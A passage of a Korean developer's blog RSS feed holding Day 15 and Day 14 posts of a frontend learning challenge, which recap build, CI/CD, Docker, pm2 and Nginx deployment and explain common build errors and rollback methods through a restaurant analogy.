<p>15일이 지난 지금, 코드 한 줄이 사용자 화면까지 가는 <strong>전체 여정</strong>을 설명할 수 있다.</p>
<pre><code>코드 작성 → git push → CI/CD 자동 검사 → Docker 이미지 생성
→ 서버 배포 → pm2 프로세스 관리 → Nginx 요청 전달 → 사용자 화면
→ 문제 생기면 로그 확인 → 롤백</code></pre><p>이 하나하나가 다 연결된다는 걸 알게 된 게 가장 큰 수확이다.</p>
<p>특히 서버·인프라 영역(pm2, Nginx, Docker, CI/CD)을 프론트엔드 개발자도 알아야 한다는 걸 체감했다. 자체 서버에서 Next.js를 직접 돌리는 환경이라면 이건 선택이 아니라 필수다.</p>
<p>그리고 이 지식은 나중에 Node.js + Express.js 백엔드 공부할 때 그대로 연결된다.
지금 쌓은 기반이 앞으로의 성장을 훨씬 빠르게 만들어줄 거라 확신한다.</p>
<hr>
<h2 id="📚-다음-학습-예고">📚 다음 학습 예고</h2>
<blockquote>
<p><strong>Part 2: 환경변수·시크릿·보안 (Day 16~20)</strong>
&quot;비밀정보는 어디에 어떻게 숨기는가?&quot;</p>
<p>Day 16: NEXT_PUBLIC_ 접두사의 비밀 (브라우저 노출 vs 서버 전용)
API 키, 비밀번호 같은 민감한 정보를 안전하게 관리하는 법을 배운다.</p>
</blockquote>
<p>#프론트엔드 #빌드 #배포 #서버 #인프라 #Docker #CI/CD #pm2 #Nginx #2년차개발자 #기초다시쌓기</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Day 15] Part 1 회고 + 총정리 — 코드 한 줄이 사용자 화면까지 가는 여정]]></title>
            <link>https://velog.io/@jjang_hyo/Day-15-Part-1-%ED%9A%8C%EA%B3%A0-%EC%B4%9D%EC%A0%95%EB%A6%AC-%EC%BD%94%EB%93%9C-%ED%95%9C-%EC%A4%84%EC%9D%B4-%EC%82%AC%EC%9A%A9%EC%9E%90-%ED%99%94%EB%A9%B4%EA%B9%8C%EC%A7%80-%EA%B0%80%EB%8A%94-%EC%97%AC%EC%A0%95</link>
            <guid>https://velog.io/@jjang_hyo/Day-15-Part-1-%ED%9A%8C%EA%B3%A0-%EC%B4%9D%EC%A0%95%EB%A6%AC-%EC%BD%94%EB%93%9C-%ED%95%9C-%EC%A4%84%EC%9D%B4-%EC%82%AC%EC%9A%A9%EC%9E%90-%ED%99%94%EB%A9%B4%EA%B9%8C%EC%A7%80-%EA%B0%80%EB%8A%94-%EC%97%AC%EC%A0%95</guid>
            <pubDate>Mon, 04 May 2026 07:01:33 GMT</pubDate>
            <description><![CDATA[<p>프론트엔드 기초 다시 쌓기 챌린지 15일차.
<strong>Part 1: 빌드·배포 프로세스 (Day 1~15) 완료!</strong></p>
<p>오늘은 15일간 배운 모든 걸 <strong>하나의 큰 그림으로 연결</strong>하는 시간이었다.</p>
<hr>
<h2 id="🍳-레스토랑-전체-스토리-1일차부터-14일차까지">🍳 레스토랑 전체 스토리: 1일차부터 14일차까지</h2>
<h3 id="chapter-1-레스토랑-오픈-week-1---빌드·배포-전체-그림">Chapter 1: 레스토랑 오픈 (Week 1 - 빌드·배포 전체 그림)</h3>
<pre><code>Day 1: 레시피(코드) 작성만으로는 손님이 못 먹는다.
       재료 손질(빌드) → 주방 세팅(배포) → 영업 시작(실행)이 필요하다.

Day 2: 재료 손질(yarn build)의 4가지 일.
       번역(컴파일) + 합치기(번들링) + 압축(최적화) + 미리 만들기(정적생성)

Day 3: 손님이 실제로 받는 음식 = 압축된 JS, CSS, HTML.
       자주 시키는 메뉴는 캐시, 먼 곳은 CDN으로 빠르게 전달.

Day 4: 재료를 하나하나 따로 배달하면 느리니까 합친다(번들링).
       안 쓰는 재료는 버린다(Tree Shaking).

Day 5: 연습 주방(dev)과 실전 주방(start)의 차이.
       이건 장소 차이가 아니라 모드 차이다.</code></pre><h3 id="chapter-2-주방-인프라-구축-week-2---배포-환경-이해">Chapter 2: 주방 인프라 구축 (Week 2 - 배포 환경 이해)</h3>
<pre><code>Day 6: 주방 건물(서버) 고르기. 자체 건물 vs AWS vs Vercel.

Day 7: 멀리 있는 주방에 전화선(SSH)으로 원격 지시.
       근데 전화 끊으면 셰프가 퇴근해버린다.

Day 8: 주방 매니저(pm2) 고용. 셰프 쓰러지면 새 셰프 투입.
       전화 끊겨도 영업 계속. 정전 후에도 자동 출근.

Day 9: 홀 매니저(Nginx) 고용. 손님 요청을 알맞은 주방으로 안내.
       도메인별로 다른 포트 분배. 서버 내부 구조 숨김.

Day 10: CCTV(로그) 설치. 문제 생기면 pm2 logs부터 확인.
        DEBUG → INFO → WARN → ERROR → FATAL.</code></pre><h3 id="chapter-3-자동화-시스템-도입-week-3---실전-배포-흐름">Chapter 3: 자동화 시스템 도입 (Week 3 - 실전 배포 흐름)</h3>
<pre><code>Day 11: 자동 주방 관리 로봇(CI/CD) 도입.
        push만 하면 자동으로 빌드 + 테스트 + 배포.

Day 12: 2호점에서 맛이 달라서 이동식 주방(Docker) 도입.
        환경 통째로 패키징해서 어디서든 같은 결과.

Day 13: 로봇 + 이동식 주방 합체(CI/CD + Docker) = 완성형 배포.
        git push 하나로 전부 자동.

Day 14: 신메뉴 배탈(런타임 에러) 대응법.
        &quot;고치기 전에 되돌려라(롤백)&quot;. Docker 태그면 1~2분 복구.</code></pre><hr>
<h2 id="🗺️-전체-흐름도-코드-한-줄이-사용자-화면까지-가는-여정">🗺️ 전체 흐름도: 코드 한 줄이 사용자 화면까지 가는 여정</h2>
<p>Day 1에서 던졌던 질문: <strong>&quot;내 코드가 어떻게 사용자 화면까지 가는가?&quot;</strong></p>
<p>15일 전에는 막막했지만, 이제 전부 설명할 수 있다.</p>
<pre><code>[1단계: 개발] (Day 1, 5)
VSCode에서 코드 작성
→ yarn dev로 개발 서버에서 확인

        ↓

[2단계: 코드 올리기] (Day 11)
git push to main

        ↓

[3단계: CI - 자동 검사] (Day 11, 14)
GitHub Actions가 자동 실행
→ lint 검사 → yarn build → 유닛 테스트
→ 하나라도 실패하면 ❌ 중단!

        ↓

[4단계: Docker 이미지 생성] (Day 12)
docker build → 코드+환경+빌드결과 통째로 패키징
→ Docker Hub에 업로드

        ↓

[5단계: CD - 자동 배포] (Day 13)
SSH로 서버 접속
→ docker pull → docker stop → rm → run

        ↓

[6단계: 서버에서 실행] (Day 6, 7, 8)
컨테이너 안에서 yarn start 자동 실행
→ pm2 또는 Docker가 프로세스 관리

        ↓

[7단계: 요청 전달] (Day 9)
사용자가 도메인 입력
→ Nginx가 요청을 받아서 앱 포트로 전달

        ↓

[8단계: 사용자 화면] (Day 3, 4)
브라우저가 번들링·압축된 JS, CSS, HTML 다운로드
→ 캐시·CDN으로 빠르게 전달 → 화면 렌더링!

        ↓

[문제 발생 시] (Day 10, 14)
로그 확인 (pm2 → Nginx → 시스템)
→ 심각하면 롤백 → 수정 후 재배포</code></pre><p><strong>개발자가 직접 하는 일은 1단계(코드 작성)와 2단계(git push)까지.</strong>
3단계부터 전부 자동이다.</p>
<hr>
<h2 id="📋-핵심-개념-총정리-한-줄-요약">📋 핵심 개념 총정리: 한 줄 요약</h2>
<h3 id="week-1-빌드·배포-전체-그림">Week 1: 빌드·배포 전체 그림</h3>
<table>
<thead>
<tr>
<th>Day</th>
<th>한 줄 요약</th>
</tr>
</thead>
<tbody><tr>
<td>Day 1</td>
<td>개발(레시피) → 빌드(손질) → 배포(세팅) → 실행(영업) 4단계</td>
</tr>
<tr>
<td>Day 2</td>
<td>yarn build = 컴파일 + 번들링 + 최적화 + 정적생성, 결과는 .next 폴더</td>
</tr>
<tr>
<td>Day 3</td>
<td>브라우저는 압축된 JS/CSS/HTML을 받고, 캐시와 CDN으로 속도 올림</td>
</tr>
<tr>
<td>Day 4</td>
<td>번들링 = 파일 합치기, Tree Shaking = 안 쓰는 코드 제거</td>
</tr>
<tr>
<td>Day 5</td>
<td>dev = 개발모드(편함/느림), start = 프로덕션모드(엄격/빠름)</td>
</tr>
</tbody></table>
<h3 id="week-2-배포-환경-이해">Week 2: 배포 환경 이해</h3>
<table>
<thead>
<tr>
<th>Day</th>
<th>한 줄 요약</th>
</tr>
</thead>
<tbody><tr>
<td>Day 6</td>
<td>서버 = 24시간 켜져있는 컴퓨터, 자체서버/AWS/Vercel 선택</td>
</tr>
<tr>
<td>Day 7</td>
<td>SSH = 원격 접속 전화선, 끊으면 프로세스 죽음</td>
</tr>
<tr>
<td>Day 8</td>
<td>pm2 = 주방 매니저, 크래시 복구 + 백그라운드 실행 + 자동 재시작</td>
</tr>
<tr>
<td>Day 9</td>
<td>Nginx = 홀 매니저, 리버스 프록시로 요청 분배 + 서버 구조 숨김</td>
</tr>
<tr>
<td>Day 10</td>
<td>로그 = CCTV, 문제 생기면 pm2 logs → Nginx logs → 시스템 로그</td>
</tr>
</tbody></table>
<h3 id="week-3-실전-배포-흐름">Week 3: 실전 배포 흐름</h3>
<table>
<thead>
<tr>
<th>Day</th>
<th>한 줄 요약</th>
</tr>
</thead>
<tbody><tr>
<td>Day 11</td>
<td>CI/CD = 자동 빌드·테스트·배포, GitHub Actions로 구현</td>
</tr>
<tr>
<td>Day 12</td>
<td>Docker = 코드+환경 통째로 패키징, 이미지(설계도) → 컨테이너(실행)</td>
</tr>
<tr>
<td>Day 13</td>
<td>CI/CD + Docker = 완성형 배포, git push만 하면 끝</td>
</tr>
<tr>
<td>Day 14</td>
<td>에러 3단계 + 롤백, &quot;고치기 전에 되돌려라&quot;</td>
</tr>
</tbody></table>
<hr>
<h2 id="🍳-레스토랑-비유-총정리">🍳 레스토랑 비유 총정리</h2>
<p>15일간 쌓아온 비유 전체를 한눈에:</p>
<table>
<thead>
<tr>
<th>레스토랑</th>
<th>서버</th>
<th>Day</th>
</tr>
</thead>
<tbody><tr>
<td>레시피</td>
<td>코드</td>
<td>1</td>
</tr>
<tr>
<td>재료 손질 + 세팅</td>
<td>빌드 (yarn build)</td>
<td>2</td>
</tr>
<tr>
<td>재료를 주방에 갖다 놓음</td>
<td>배포</td>
<td>1</td>
</tr>
<tr>
<td>가스레인지 불 켜고 영업 시작</td>
<td>실행 (yarn start)</td>
<td>1</td>
</tr>
<tr>
<td>주방 건물</td>
<td>서버 컴퓨터</td>
<td>6</td>
</tr>
<tr>
<td>셰프</td>
<td>프로세스</td>
<td>8</td>
</tr>
<tr>
<td>음식</td>
<td>사이트</td>
<td>1</td>
</tr>
<tr>
<td>주방 매니저</td>
<td>pm2</td>
<td>8</td>
</tr>
<tr>
<td>홀 매니저</td>
<td>Nginx</td>
<td>9</td>
</tr>
<tr>
<td>CCTV</td>
<td>로그</td>
<td>10</td>
</tr>
<tr>
<td>전화선</td>
<td>SSH</td>
<td>7</td>
</tr>
<tr>
<td>자물쇠 (서버에 설치)</td>
<td>공개 키</td>
<td>7</td>
</tr>
<tr>
<td>열쇠 (내가 보관)</td>
<td>개인 키</td>
<td>7</td>
</tr>
<tr>
<td>셰프 자동 출근 알람</td>
<td>pm2 startup</td>
<td>8</td>
</tr>
<tr>
<td>셰프 출근 명단표</td>
<td>pm2 save</td>
<td>8</td>
</tr>
<tr>
<td>자동 주방 관리 로봇</td>
<td>GitHub Actions</td>
<td>11</td>
</tr>
<tr>
<td>작업 지시서</td>
<td>Workflow (YAML)</td>
<td>11</td>
</tr>
<tr>
<td>로봇의 금고</td>
<td>GitHub Secrets</td>
<td>11</td>
</tr>
<tr>
<td>이동식 주방 조립 설명서</td>
<td>Dockerfile</td>
<td>12</td>
</tr>
<tr>
<td>이동식 주방 설계도</td>
<td>Docker 이미지</td>
<td>12</td>
</tr>
<tr>
<td>실제 푸드트럭</td>
<td>Docker 컨테이너</td>
<td>12</td>
</tr>
<tr>
<td>이미지 중앙 창고</td>
<td>Docker Hub</td>
<td>13</td>
</tr>
<tr>
<td>신메뉴 배탈 → 판매 중단</td>
<td>런타임 에러 → 롤백</td>
<td>14</td>
</tr>
<tr>
<td>&quot;고치기 전에 되돌려라&quot;</td>
<td>롤백 먼저, 디버깅은 나중</td>
<td>14</td>
</tr>
</tbody></table>
<hr>
<h2 id="⭐-이것만은-꼭-기억하자-top-5">⭐ &quot;이것만은 꼭 기억하자&quot; TOP 5</h2>
<h3 id="1-빌드와-실행은-다르다">1. 빌드와 실행은 다르다</h3>
<pre><code>yarn build = 한 번만 (결과물 만들기)
yarn start = 필요할 때마다 (결과물 실행하기)
build 없이 start 불가능!</code></pre><h3 id="2-dev-모드와-production-모드는-다르다">2. dev 모드와 production 모드는 다르다</h3>
<pre><code>yarn dev = 개발할 때 (편하지만 느림)
yarn start = 실서비스 (빠르지만 엄격)
로컬/서버 차이가 아니라 모드 차이!</code></pre><h3 id="3-서버는-혼자-안-돌아간다">3. 서버는 혼자 안 돌아간다</h3>
<pre><code>pm2 = 프로세스 죽으면 살려줌
Nginx = 요청을 알맞은 앱으로 전달
이 둘이 있어야 안정적인 서비스 가능</code></pre><h3 id="4-cicd--docker--현대적-배포">4. CI/CD + Docker = 현대적 배포</h3>
<pre><code>git push만 하면 빌드·테스트·배포 전부 자동
Docker로 환경 동일 보장</code></pre><h3 id="5-문제-생기면-롤백-먼저">5. 문제 생기면 롤백 먼저</h3>
<pre><code>고치기 전에 되돌려라
로그 확인 순서: pm2 logs → Nginx logs → 시스템 로그
Docker 태그 롤백이면 1~2분</code></pre><hr>
<h2 id="🧪-이해도-체크">🧪 이해도 체크</h2>
<p><strong>Q1. 문제 원인을 찾는 순서와 버그 대응법은?</strong>
→ 정답: 로그 확인(pm2 → Nginx → 시스템) → 롤백 먼저(이전 버전으로 되돌리기) → 사이트 정상화 확인 → 원인 파악 + 수정 후 재배포</p>
<p><strong>Q2. 수동 배포를 CI/CD + Docker로 바꾸면?</strong>
→ 정답: git push만 하면 빌드·테스트·배포 전부 자동 + Docker로 환경 동일 보장. 서버에서는 docker pull → docker run만 하면 끝.</p>
<p><strong>Q3. Dockerfile, 이미지, Docker Hub, 컨테이너의 관계는?</strong>
→ 정답: Dockerfile(조립 설명서) → docker build → 이미지(설계도) → docker push → Docker Hub(중앙 창고) → docker pull + run → 컨테이너(실제 푸드트럭)</p>
<hr>
<h2 id="💭-회고">💭 회고</h2>
<p>15일 전, Day 1에서 &quot;내 코드가 어떻게 사용자 화면까지 가는가?&quot;라는 질문으로 시작했다.</p>
<p>그때는 <code>yarn build</code>가 뭘 하는지도 몰랐고,
서버가 뭔지, pm2가 왜 필요한지, Nginx가 뭔지 전부 막막했다.</p>
<p>15일이 지난 지금, 코드 한 줄이 사용자 화면까지 가는 <strong>전체 여정</strong>을 설명할 수 있다.</p>
<pre><code>코드 작성 → git push → CI/CD 자동 검사 → Docker 이미지 생성
→ 서버 배포 → pm2 프로세스 관리 → Nginx 요청 전달 → 사용자 화면
→ 문제 생기면 로그 확인 → 롤백</code></pre><p>이 하나하나가 다 연결된다는 걸 알게 된 게 가장 큰 수확이다.</p>
<p>특히 서버·인프라 영역(pm2, Nginx, Docker, CI/CD)을 프론트엔드 개발자도 알아야 한다는 걸 체감했다. 자체 서버에서 Next.js를 직접 돌리는 환경이라면 이건 선택이 아니라 필수다.</p>
<p>그리고 이 지식은 나중에 Node.js + Express.js 백엔드 공부할 때 그대로 연결된다.
지금 쌓은 기반이 앞으로의 성장을 훨씬 빠르게 만들어줄 거라 확신한다.</p>
<hr>
<h2 id="📚-다음-학습-예고">📚 다음 학습 예고</h2>
<blockquote>
<p><strong>Part 2: 환경변수·시크릿·보안 (Day 16~20)</strong>
&quot;비밀정보는 어디에 어떻게 숨기는가?&quot;</p>
<p>Day 16: NEXT_PUBLIC_ 접두사의 비밀 (브라우저 노출 vs 서버 전용)
API 키, 비밀번호 같은 민감한 정보를 안전하게 관리하는 법을 배운다.</p>
</blockquote>
<p>#프론트엔드 #빌드 #배포 #서버 #인프라 #Docker #CI/CD #pm2 #Nginx #2년차개발자 #기초다시쌓기</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[ [Day 14] 빌드 에러 해결 패턴 + 롤백 개념]]></title>
            <link>https://velog.io/@jjang_hyo/Day-14-%EB%B9%8C%EB%93%9C-%EC%97%90%EB%9F%AC-%ED%95%B4%EA%B2%B0-%ED%8C%A8%ED%84%B4-%EB%A1%A4%EB%B0%B1-%EA%B0%9C%EB%85%90</link>
            <guid>https://velog.io/@jjang_hyo/Day-14-%EB%B9%8C%EB%93%9C-%EC%97%90%EB%9F%AC-%ED%95%B4%EA%B2%B0-%ED%8C%A8%ED%84%B4-%EB%A1%A4%EB%B0%B1-%EA%B0%9C%EB%85%90</guid>
            <pubDate>Mon, 04 May 2026 06:39:07 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>프론트엔드 기초 다시 쌓기 챌린지 14일차.
Week 3 &quot;실전 배포 흐름&quot;의 네 번째 수업.
Day 11~13에서 CI/CD + Docker로 완성된 배포 파이프라인을 만들었다면,
오늘은 <strong>&quot;문제가 생겼을 때 어떻게 대응하는가&quot;</strong>를 배웠다.</p>
</blockquote>
<hr>
<h2 id="🍳-오늘의-비유-신메뉴-출시했는데-손님이-배탈-났다">🍳 오늘의 비유: &quot;신메뉴 출시했는데 손님이 배탈 났다&quot;</h2>
<pre><code>월요일: 새 파스타 레시피 개발 완료
화요일: 자동 주방 시스템(CI/CD)으로 신메뉴 출시
수요일 오전: 손님 3명이 배탈 → 신메뉴에 문제가 있었다!</code></pre><p>이때 해야 할 일:</p>
<pre><code>1단계: 증상 확인 (전체 장애? 특정 메뉴만?)
2단계: 일단 신메뉴 판매 중단! (롤백)
3단계: 원인 파악 (재료? 조리법?)
4단계: 고쳐서 다시 출시 (재배포)</code></pre><p>핵심 원칙: <strong>&quot;고치기 전에 되돌려라&quot;</strong></p>
<hr>
<h2 id="🚨-에러가-생기는-3가지-타이밍">🚨 에러가 생기는 3가지 타이밍</h2>
<p>배포 과정에서 문제가 생기는 타이밍은 크게 3가지다.</p>
<pre><code>git push → [① 빌드 에러] → [② 배포 에러] → [③ 런타임 에러]</code></pre><h3 id="①-빌드-에러-재료-손질-단계에서-실패">① 빌드 에러: &quot;재료 손질 단계에서 실패&quot;</h3>
<p><code>yarn build</code>가 실패하는 경우. CI/CD가 있으면 <strong>서버에 올라가기 전에</strong> 잡힌다.</p>
<p><strong>자주 만나는 빌드 에러 TOP 5:</strong></p>
<p><strong>1. TypeScript 타입 에러</strong></p>
<pre><code>Type error: Property &#39;name&#39; does not exist on type &#39;{}&#39;</code></pre><p>레시피에 &#39;소금&#39;이라 적었는데 재료 목록에 &#39;소금&#39;이 없는 상황.</p>
<pre><code class="language-typescript">// ❌ 에러
const user = {};
console.log(user.name);

// ✅ 수정
const user: { name: string } = { name: &quot;짱효&quot; };
console.log(user.name);</code></pre>
<p><strong>2. import 경로 에러</strong></p>
<pre><code>Module not found: Can&#39;t resolve &#39;./components/Haeder&#39;</code></pre><p>오타! <code>Haeder</code> → <code>Header</code></p>
<p><strong>3. 환경변수 누락</strong></p>
<pre><code>Error: NEXT_PUBLIC_API_URL is not defined</code></pre><p>로컬에서는 <code>.env</code>에 있어서 되는데, CI/CD에서는 GitHub Secrets에 안 넣어서 실패하는 경우.</p>
<p><strong>4. 패키지 버전 충돌</strong></p>
<pre><code>npm ERR! Could not resolve dependency:
peer react@&quot;^17.0.0&quot; from some-package@1.0.0</code></pre><p>이 소스는 A브랜드 올리브오일에서만 되는데 B브랜드를 쓰고 있는 상황.</p>
<p><strong>5. 메모리 부족</strong></p>
<pre><code>FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory</code></pre><pre><code class="language-bash"># 해결: 빌드할 때 메모리 늘려주기
NODE_OPTIONS=&quot;--max-old-space-size=4096&quot; yarn build</code></pre>
<h3 id="②-배포-에러-주방까지-왔는데-세팅이-안-된다">② 배포 에러: &quot;주방까지 왔는데 세팅이 안 된다&quot;</h3>
<p>빌드는 성공했는데 서버에 올리는 과정에서 실패.</p>
<pre><code>- SSH 접속 실패 → 키가 만료됐거나, 서버 IP가 바뀜
- docker pull 실패 → Docker Hub 인증 문제
- 포트 충돌 → 기존 컨테이너가 안 꺼졌음
- 디스크 용량 부족 → 서버에 공간이 없음</code></pre><h3 id="③-런타임-에러-영업-시작했는데-손님이-음식을-못-받는다">③ 런타임 에러: &quot;영업 시작했는데 손님이 음식을 못 받는다&quot;</h3>
<p>빌드도 성공, 배포도 성공, 근데 사이트가 이상한 경우.</p>
<pre><code>- API 서버가 죽어있음 → 데이터를 못 가져옴
- 환경변수가 프로덕션 값이 아님 → 테스트 DB를 바라보고 있음
- 새 기능에 버그가 있음 → 특정 페이지에서 에러</code></pre><p><strong>이게 가장 무서운 에러다.</strong> 빌드/배포 에러는 CI/CD에서 걸려서 사용자한테 안 가지만,
런타임 에러는 <strong>사용자가 직접 겪는다.</strong></p>
<h3 id="cicd가-잡을-수-있는-에러-vs-못-잡는-에러">CI/CD가 잡을 수 있는 에러 vs 못 잡는 에러</h3>
<pre><code>✅ CI/CD가 잡아줌: 빌드 에러, 배포 에러
❌ CI/CD가 못 잡음: 런타임 에러 (테스트 코드가 있어야 잡을 수 있음)</code></pre><hr>
<h2 id="🔄-롤백--이전-버전으로-되돌리기">🔄 롤백 — &quot;이전 버전으로 되돌리기&quot;</h2>
<h3 id="롤백이란">롤백이란?</h3>
<blockquote>
<p>배포한 버전에 문제가 생겼을 때, <strong>이전에 잘 되던 버전으로 돌아가는 것</strong></p>
</blockquote>
<h3 id="docker-이미지-복습">Docker 이미지 복습</h3>
<p>롤백을 이해하려면 Docker 이미지가 뭔지 다시 짚고 가야 한다.</p>
<p><strong>이미지 = 코드 + 실행환경이 통째로 들어있는 박스</strong></p>
<pre><code>[이미지 안에 들어있는 것]
- Ubuntu 운영체제
- Node.js 18
- yarn
- 내 프로젝트 코드
- node_modules (패키지들)
- .next 폴더 (yarn build 결과물)</code></pre><p>즉 <strong>빌드까지 다 끝난 완성품</strong>이 이미지 안에 들어있다.
이동식 주방 설계도인데, 재료 손질(빌드)까지 다 끝난 상태가 포함된 것.</p>
<p>이게 왜 중요하냐면, 배포할 때마다 이미지에 버전 태그를 달아두면:</p>
<pre><code>v1.0 이미지 = Node 18 + 코드 + 빌드 결과물 (정상 버전)
v1.1 이미지 = Node 18 + 코드 + 빌드 결과물 (버그 있는 버전)

버그 발견! → v1.0 이미지로 docker run → 끝!
다시 빌드할 필요 없음. 이미 빌드된 결과가 이미지 안에 있으니까.</code></pre><p>이래서 Docker 롤백이 빠른 거다.</p>
<hr>
<h3 id="롤백-방법-3가지">롤백 방법 3가지</h3>
<h4 id="방법-1-docker-이미지-태그로-롤백-⚡-가장-빠름-12분">방법 1: Docker 이미지 태그로 롤백 (⚡ 가장 빠름, 1~2분)</h4>
<pre><code class="language-bash"># v1.1에서 문제 발생! → v1.0으로 롤백
docker stop my-app
docker rm my-app
docker run -d --name my-app -p 5008:5008 my-app:v1.0</code></pre>
<p>이전 이미지가 Docker Hub에 보관되어 있으니까 태그만 바꿔서 실행하면 끝.
다시 빌드할 필요가 없다. 이미 빌드된 완성품이 이미지 안에 있으니까.</p>
<h4 id="방법-2-git으로-롤백-🏃-510분">방법 2: Git으로 롤백 (🏃 5~10분)</h4>
<pre><code class="language-bash">git revert HEAD
git push origin main
# → CI/CD가 다시 돌면서 이전 상태의 이미지를 새로 만들고 배포</code></pre>
<h4 id="방법-3-수동-롤백--docker-없을-때-🐢-1020분">방법 3: 수동 롤백 — Docker 없을 때 (🐢 10~20분)</h4>
<pre><code class="language-bash">ssh -i key.pem ubuntu@서버IP
cd /var/www/my-project
git log --oneline -5        # 커밋 목록 확인
git revert HEAD             # 이전 버전으로 돌리기
yarn build                  # 다시 빌드
pm2 restart my-app          # 재시작</code></pre>
<h3 id="3가지-방법-비교">3가지 방법 비교</h3>
<table>
<thead>
<tr>
<th>방법</th>
<th>속도</th>
<th>조건</th>
</tr>
</thead>
<tbody><tr>
<td>Docker 태그 롤백</td>
<td>⚡ 1~2분</td>
<td>Docker 사용 + 이전 이미지 보관</td>
</tr>
<tr>
<td>git revert + CI/CD</td>
<td>🏃 5~10분</td>
<td>CI/CD 있어야 함</td>
</tr>
<tr>
<td>수동 checkout + 빌드</td>
<td>🐢 10~20분</td>
<td>서버에서 직접 작업</td>
</tr>
</tbody></table>
<p>Docker 롤백이 압도적으로 빠른 이유: 이전 이미지가 <strong>이미 빌드된 상태로</strong> 보관되어 있어서 다시 빌드할 필요가 없다!</p>
<hr>
<h2 id="🚒-실전-대응-프로세스">🚒 실전 대응 프로세스</h2>
<p>실제로 문제가 생겼을 때의 대응 순서:</p>
<pre><code>🚨 &quot;사이트가 이상해요!&quot; 알림 받음
        ↓
1단계: 증상 확인 (30초)
   → 전체 장애? 특정 페이지만? 에러 메시지는?
        ↓
2단계: 롤백 결정 (1분)
   → 심각하면 바로 롤백! 사소하면 핫픽스 검토
        ↓
3단계: 롤백 실행 (1~2분)
   → docker run으로 이전 버전 실행
        ↓
4단계: 정상 확인 (1분)
   → 사이트 접속 + 로그 확인 (Day 10)
        ↓
5단계: 원인 파악 (시간 여유 있게)
   → 로그 분석, 코드 확인, 재현 시도
        ↓
6단계: 수정 후 재배포
   → 코드 수정 → git push → CI/CD → 자동 배포</code></pre><p>가장 중요한 원칙:</p>
<blockquote>
<p>⚡ <strong>&quot;고치기 전에 되돌려라&quot;</strong></p>
<p>사이트가 터진 상태에서 원인 찾고 코드 고치면 30분<del>1시간.
그 동안 사용자는 계속 에러를 보고 있다.
먼저 롤백(1</del>2분)하고, 사이트 정상화한 다음 천천히 고치자.</p>
</blockquote>
<hr>
<h2 id="🍳-레스토랑-비유-업데이트">🍳 레스토랑 비유 업데이트</h2>
<table>
<thead>
<tr>
<th>레스토랑</th>
<th>서버</th>
</tr>
</thead>
<tbody><tr>
<td>신메뉴 출시 후 배탈</td>
<td>배포 후 런타임 에러</td>
</tr>
<tr>
<td>일단 신메뉴 판매 중단</td>
<td>롤백 (이전 버전으로 되돌리기)</td>
</tr>
<tr>
<td>중앙 창고의 이전 주방</td>
<td>Docker Hub의 이전 이미지 태그</td>
</tr>
<tr>
<td>원인 파악 (재료? 조리법?)</td>
<td>로그 분석 + 디버깅</td>
</tr>
<tr>
<td>수정 후 재출시</td>
<td>코드 수정 후 재배포</td>
</tr>
<tr>
<td>&quot;고치기 전에 되돌려라&quot;</td>
<td>롤백 먼저, 디버깅은 그 다음</td>
</tr>
</tbody></table>
<hr>
<h2 id="🎯-오늘-배운-것-최종-정리">🎯 오늘 배운 것 최종 정리</h2>
<ol>
<li><strong>에러 3가지 타이밍</strong>: 빌드 에러 → 배포 에러 → 런타임 에러</li>
<li><strong>가장 위험한 건 런타임 에러</strong>: CI/CD가 못 잡고, 사용자가 직접 겪음</li>
<li><strong>빌드 에러 TOP 5</strong>: 타입 에러, import 경로, 환경변수 누락, 패키지 충돌, 메모리 부족</li>
<li><strong>롤백</strong>: 문제 생기면 이전에 잘 되던 버전으로 되돌리는 것</li>
<li><strong>Docker 이미지 = 빌드까지 끝난 완성품</strong>: 이래서 롤백이 1~2분만에 가능</li>
<li><strong>롤백 3가지</strong>: Docker 태그(1<del>2분) &gt; git revert(5</del>10분) &gt; 수동(10~20분)</li>
<li><strong>핵심 원칙</strong>: &quot;고치기 전에 되돌려라&quot; — 롤백 먼저, 디버깅은 그 다음</li>
<li><strong>실전 순서</strong>: 증상 확인 → 롤백 → 정상 확인 → 원인 파악 → 수정 후 재배포</li>
</ol>
<hr>
<h2 id="🧪-이해도-체크">🧪 이해도 체크</h2>
<p><strong>Q1. 배포 후 사이트에 버그가 발견됐을 때, 가장 먼저 해야 할 일은?</strong>
→ 정답: 증상 확인(전체 장애? 부분 장애?) 후 바로 롤백. 사용자가 계속 에러를 보고 있으니까 고치기 전에 먼저 되돌려야 한다.</p>
<p><strong>Q2. Docker로 배포하는 환경에서 롤백이 빠른 이유는?</strong>
→ 정답: 이전 이미지에 빌드 결과물까지 다 들어있어서 다시 빌드할 필요 없이 docker run만 하면 끝.</p>
<p><strong>Q3. CI/CD가 잡을 수 있는 에러와 못 잡는 에러는?</strong>
→ 정답: 빌드 에러, 배포 에러는 잡을 수 있다. 런타임 에러는 못 잡는다. 런타임 에러를 잡으려면 테스트 코드가 필요하다.</p>
<hr>
<h2 id="💭-회고">💭 회고</h2>
<p>Day 11~13에서 &quot;어떻게 배포하는가&quot;를 배웠다면,
오늘은 <strong>&quot;배포가 잘못됐을 때 어떻게 하는가&quot;</strong>를 배웠다.</p>
<p>가장 인상 깊었던 건 <strong>&quot;고치기 전에 되돌려라&quot;</strong> 라는 원칙이다.
개발자 본능은 &quot;원인 찾아서 고치자&quot;인데, 실무에서는 사용자가 보고 있으니까
일단 되돌리고 천천히 고치는 게 맞다.</p>
<p>그리고 Docker 이미지가 &quot;빌드까지 끝난 완성품&quot;이라는 걸 다시 정리하니까
왜 Docker 롤백이 1~2분만에 되는지 확실히 이해됐다.
이전 이미지가 Docker Hub에 보관되어 있으니까 꺼내서 실행만 하면 끝이다.</p>
<hr>
<h2 id="📚-다음-학습-예고">📚 다음 학습 예고</h2>
<blockquote>
<p><strong>Day 15: Part 1 회고 + 총정리</strong>
Week 1~3에서 배운 빌드·배포·서버·인프라 전체를 한번에 정리!
15일간의 여정을 하나의 큰 그림으로 연결한다.</p>
</blockquote>
<p>#프론트엔드 #빌드에러 #롤백 #Docker #배포 #2년차개발자 #기초다시쌓기</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Day 13] Docker + 배포 흐름 연결 — 퍼즐이 완성되다]]></title>
            <link>https://velog.io/@jjang_hyo/Day-13-Docker-%EB%B0%B0%ED%8F%AC-%ED%9D%90%EB%A6%84-%EC%97%B0%EA%B2%B0-%ED%8D%BC%EC%A6%90%EC%9D%B4-%EC%99%84%EC%84%B1%EB%90%98%EB%8B%A4</link>
